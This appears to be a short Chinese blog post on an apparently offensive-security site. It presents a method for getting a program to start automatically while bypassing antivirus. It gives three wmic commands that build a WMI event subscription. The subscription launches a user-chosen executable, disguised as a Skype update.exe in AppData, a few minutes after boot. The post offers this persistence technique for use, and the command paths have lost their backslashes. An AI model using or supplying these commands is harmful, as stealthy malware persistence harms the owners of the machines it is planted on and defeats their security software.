绕过杀软自启动方法

释放双眼,带上耳机,听听看~!

 

 

自行替换执行文件路径



wmic /NAMESPACE:"\rootsubscription" PATH __EventFilter CREATE Name="Desktops", EventNameSpace="rootcimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 310"

wmic /NAMESPACE:"\rootsubscription" PATH CommandLineEventConsumer CREATE Name="DesktopsConsumer", ExecutablePath="C:UsersAdministratorAppDataRoamingSkypeupdate.exe",CommandLineTemplate="C:UsersAdministratorAppDataRoamingSkypeupdate.exe"

wmic /NAMESPACE:"\rootsubscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name="Desktops"", Consumer="CommandLineEventConsumer.Name="DesktopsConsumer""
分类

给XSS平台加上CF-CDN,并获取会话真实IP

2021-5-3 1:20:53

分类

CMD5解密用不完了,需要解密可以联系我免费解密

2021-6-16 11:20:22

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
有新私信 私信列表
搜索